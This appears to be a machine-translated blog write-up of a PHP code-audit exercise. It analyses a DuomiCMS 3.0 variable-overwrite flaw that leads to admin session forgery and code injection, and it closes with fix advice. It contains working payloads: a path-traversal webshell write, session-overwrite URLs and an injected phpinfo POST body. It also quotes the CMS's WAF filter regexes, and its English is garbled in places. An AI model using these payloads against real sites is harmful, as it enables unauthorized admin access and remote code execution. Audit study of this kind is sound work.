[Vulnerability] DuomiCMS_3.0 practice -Day14 variable coverage holes caused by command execution

He began to practice [red] team of PHP-Audit-Labs code audit Day14
link: https://github.com/hongriSec/PHP-Audit-Labs
interested students can go to Exercise
Prior knowledge:
content title comes from PHP SECURITY 2017 CALENDAR
Day 14 - Snowman code is as follows:

class Carrot {
  const EXTERNAL_DIRECTORY = '/tmp/';
  private $id;
  private $lost = 0;
  private $bought = 0;

  public function __construct($input) {
    $this->id = rand(1, 1000);

    foreach ($input as $field => $count) {
      $this->$field = $count++;
    }
  }

  public function __destruct() {
    file_put_contents(
      self::EXTERNAL_DIRECTORY . $this->id,
      var_export(get_object_vars($this), true)
    );
  }
}

$carrot = new Carrot($_GET);

Vulnerability Analysis:
This question is about a 变量覆盖the 路径穿越problem. In the 第10-11行office,

    foreach ($input as $field => $count) {
      $this->$field = $count++;
    }

CarrotSuper class constructor global array $_GETfor variable register, so to cover 第8行the defined $this->variables.

    $this->id = rand(1, 1000);

In 第16-18行destructor at the

    file_put_contents(
      self::EXTERNAL_DIRECTORY . $this->id,
      var_export(get_object_vars($this), true)
    );

file_put_contentsThe first parameter is again a function of $this->variable splicing, which leads us to control the position of written documents, eventually leading to any file written question. Here we try to use payload: id=../var/www/html/shell.php&shell=',)%0a//write webshell:
Here Insert Picture Description

Case Analysis:

The case study, we selected is DuomiCMS_3.0the latest version of the related vulnerability analysis.

Vulnerability POC site to provide security tools, procedures (methods) may carry offensive, only for safety research and teaching purposes at your own risk!

Vulnerability Analysis:

The existence of global variables CMS registration problems, if the program is written properly, will lead to variable coverage, we have to analyze this is covered by variable caused getshellthe problem.

First, let's look at the CMS global variables registration code, which is located in duomiphp/common.php(lines 36-55) file, as follows:

function _RunMagicQuotes(&$svar)
{
	if(!get_magic_quotes_gpc())
	{
		if( is_array($svar) )
		{
			foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
		}
		else
		{
			$svar = addslashes($svar);
		}
	}
	return $svar;
}

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
	foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

Wherein the _RunMagicQuotesfunction special symbols, using addslashesthe function escaping. Let's search fwritefunction to see if there is written documentation procedures available ( 为了写 shell). phpstormProgram search results are as follows:
Here Insert Picture Description
We can see there is a admin\admin_ping.phpfile, there are places available, because the target file is written to the PHPprogram, and the two controllable variables exist written content. Its code as follows:
Here Insert Picture Description
$weburlvariables and $tokenvariables from POST方式obtaining, through which only the variable _RunMagicQuotesfunction filtering process, and the duomiphp\webscan.phpfiltering rule file (lines 18-22),

$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*
(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\
(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\
([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[a-
z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\
(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?
[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|
<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|
(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?
(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?
\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|
(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\
(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\
(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?
when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[^>]*?
\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\
(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?
[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|
<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|
(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?
(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?|
(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|
(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\
(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\
(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?
[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\
(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\
(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?
VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\
(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+
(TABLE|DATABASE)";

But it does not affect us write shell.

To use this file, however, we must be adminidentity, or do not have permission to access the file. So we look at how the CMS user identity confirmation, prior to the potential use of variable coverage to forge identity?
Follow up the admin\admin_ping.phpbeginning of the file that contains the admin\config.phpfile, then we will be focusing on is the following code:
Here Insert Picture Description
we need to know how to program the user's identity for processing, follow-up duomiphp\check.admin.phpfile (lines 34-54), concerned the following code:
Here Insert Picture Description
We can see here records 用户名字, , 所属组, 用户look at adminthe corresponding three values is. Find the admin\login.phpfile (lines 57-88)

		if(!empty($userid) && !empty($pwd))
		{
			$res = $cuserLogin->checkUser($userid,$pwd);

			//success
			if($res==1)
			{
				$cuserLogin->keepUser();
				if(!empty($gotopage))
				{
					ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);
					exit();
				}
				else
				{
					ShowMsg('成功登录,正在转向管理管理主页!',"index.php");
					exit();
				}
			}

			//error
			else if($res==-1)
			{
				ShowMsg('你的用户名不存在!','-1');
				exit();
			}
			else
			{
				ShowMsg('你的密码错误!','-1');
				exit();
			}
		}

Which began the third line, we just let the checkUsermethod returns 1 that is admin用户.

Follow-up duomiphp\check.admin.phpfile (lines 72-101) of the checkUsermethod, the specific code is as follows:

function checkUser($username,$userpwd)
{
global $dsql;

//只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符
$this->userName = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$username);
$this->userPwd = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$userpwd);
$pwd = substr(md5($this->userPwd),5,20);
$dsql->SetQuery("Select * From `duomi_admin` where name like '".$this->userName."' and state='1' limit 0,1");
$dsql->Execute();
$row = $dsql->GetObject();
if(!isset($row->password))
{
return -1;
}
else if($pwd!=$row->password)
{
return -2;
}
else
{
$loginip = GetIP();
$this->userID = $row->id;
$this->groupid = $row->groupid;
$this->userName = $row->name;
$inquery = "update `duomi_admin` set loginip='$loginip',logintime='".time()."' where id='".$row->id."'";
$dsql->ExecuteNoneQuery($inquery);
return 1;
}
}

We log in directly back-end admin account using the correct password, admin user can observe the corresponding user and owning group are 1.
Here Insert Picture Description
So now we just use the variable coverage holes, covering the sessionvalue of the forgery adminidentity, then you can happily write a shell.

Exploit:

We need to find some open session_startprogram functions to assist us false identity, we here choose member/share.phpthe file.
Here Insert Picture Description
Our first visit as follows payload:

http://10.211.55.5/member/share.php?_SESSION[duomi_group_]=1&_SESSION[duomi_admin_]=1
http://10.211.55.5/admin/admin_ping.php?action=set

post:

weburl=";phpinfo();//&token=

Here Insert Picture Description

Advice:

In fact, this loophole and Dedecmsvariable coverage hole is very similar. In the Dedecmsofficial fix the code, the multi-detection for PHP variable name is the original super-global array, and if so, exit and inform the variables are not allowed, specific repair codes are as follows:

Here Insert Picture Description

Epilogue

Thanks again [Red team]

Reference article

Two features of PHP leads waf bypass injection

Security problems caused by the analysis request

Published 35 original articles · won praise 19 · views 5184

Guess you like

Origin blog.csdn.net/zhangpen130/article/details/104051213